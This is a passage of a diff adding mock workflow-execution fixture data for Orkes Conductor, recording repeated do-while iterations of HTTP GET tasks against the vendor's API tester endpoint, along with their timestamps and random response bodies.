"97112e9d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 698, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "aobgjizxlwgiwdasfclh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 67, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__6", + retryCount: 0, + seq: 25, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858199, + startTime: 1713413858238, + endTime: 1713413858249, + updateTime: 1713413858238, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97377b51-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2489, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "vbksjctcduvxcucqtykv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 39, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_3__9", + retryCount: 0, + seq: 37, + pollCount: 1, + taskDefName: "http_3", + scheduledTime: 1713413858858, + startTime: 1713413858917, + endTime: 1713413858928, + updateTime: 1713413858917, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "979c098d-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1122, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "qixyannkpllogxldfyqi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_3", + taskReferenceName: "http_ref_3", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 59, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_10: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857128, + startTime: 1713413857218, + endTime: 1713413857230, + updateTime: 1713413857218, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9693e83e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": ["max-age=15724800; includeSubDomains"], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 90, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__1", + retryCount: 0, + seq: 6, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857128, + startTime: 1713413857218, + endTime: 1713413857230, + updateTime: 1713413857218, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9693e83e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 7523, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "rzlozabxrltfkexdijot", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 90, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__2", + retryCount: 0, + seq: 10, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857348, + startTime: 1713413857439, + endTime: 1713413857451, + updateTime: 1713413857439, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96b5a112-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9295, + hostName: "orkes-api-sampler-67dfc8cf58-tp2s8", + randomString: "bgnycyjkhkdmiqsnjpcm", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 91, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__3", + retryCount: 0, + seq: 14, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857567, + startTime: 1713413857659, + endTime: 1713413857671, + updateTime: 1713413857659, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96d70bc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 1008, + hostName: "orkes-api-sampler-67dfc8cf58-nrj8r", + randomString: "drzushsnuxfkfbxjqvfh", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__4", + retryCount: 0, + seq: 18, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413857810, + startTime: 1713413857904, + endTime: 1713413857915, + updateTime: 1713413857904, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "96fc1ffa-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:37 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6761, + hostName: "orkes-api-sampler-67dfc8cf58-chmzf", + randomString: "taupmlrpyhpzpsulaxqo", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__5", + retryCount: 0, + seq: 22, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858034, + startTime: 1713413858126, + endTime: 1713413858139, + updateTime: 1713413858126, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "971e4dfe-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 6970, + hostName: "orkes-api-sampler-67dfc8cf58-7ckpj", + randomString: "igwwnykfobqdnkxmafab", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__6", + retryCount: 0, + seq: 26, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858256, + startTime: 1713413858349, + endTime: 1713413858361, + updateTime: 1713413858349, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97402de2-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 8930, + hostName: "orkes-api-sampler-67dfc8cf58-q2zd8", + randomString: "purhjvrqkogxpcyjifxv", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__7", + retryCount: 0, + seq: 30, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858478, + startTime: 1713413858571, + endTime: 1713413858583, + updateTime: 1713413858571, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97620dc6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 5965, + hostName: "orkes-api-sampler-67dfc8cf58-nt2wk", + randomString: "cozkeartchukblaomchw", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__8", + retryCount: 0, + seq: 34, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858712, + startTime: 1713413858806, + endTime: 1713413858818, + updateTime: 1713413858806, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9785c26a-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:38 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 9726, + hostName: "orkes-api-sampler-67dfc8cf58-lp2np", + randomString: "qmkipozchmypxunkkkzd", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 94, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__9", + retryCount: 0, + seq: 38, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413858936, + startTime: 1713413859029, + endTime: 1713413859040, + updateTime: 1713413859029, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97a7c95e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["182"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 2780, + hostName: "orkes-api-sampler-67dfc8cf58-spxdt", + randomString: "jklxzsbanazwjffbarxi", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 93, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_10__10", + retryCount: 0, + seq: 42, + pollCount: 1, + taskDefName: "http_10", + scheduledTime: 1713413859158, + startTime: 1713413859250, + endTime: 1713413859260, + updateTime: 1713413859250, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97c9d052-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + workerId: "orkes-workers-deployment-d57759b85-h87xg", + outputData: { + response: { + headers: { + "Strict-Transport-Security": [ + "max-age=15724800; includeSubDomains", + ], + Connection: ["keep-alive"], + "Content-Length": ["181"], + Date: ["Thu, 18 Apr 2024 04:17:39 GMT"], + "Content-Type": ["application/json"], + }, + reasonPhrase: "OK", + body: { + randomInt: 944, + hostName: "orkes-api-sampler-67dfc8cf58-psd9l", + randomString: "piubltpqkibleiqpmeno", + queryParams: {}, + sleepFor: "0 ms", + apiRandomDelay: "0 ms", + statusCode: "200", + }, + statusCode: 200, + }, + }, + workflowTask: { + name: "http_10", + taskReferenceName: "http_ref_10", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 92, + loopOverTask: true, + taskDefinition: null, + }, + ], + }, + http_ref_4: { + taskType: "HTTP", + status: "COMPLETED", + inputData: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + _createdBy: "najeeb.thangal@orkes.io", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + referenceTaskName: "http_ref_4", + retryCount: 0, + seq: 43, + pollCount: 1, + taskDefName: "http_4", + scheduledTime: 1713413859277, + startTime: 1713413859361, + endTime: 1713413859373, + updateTime: 1713413859361, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: 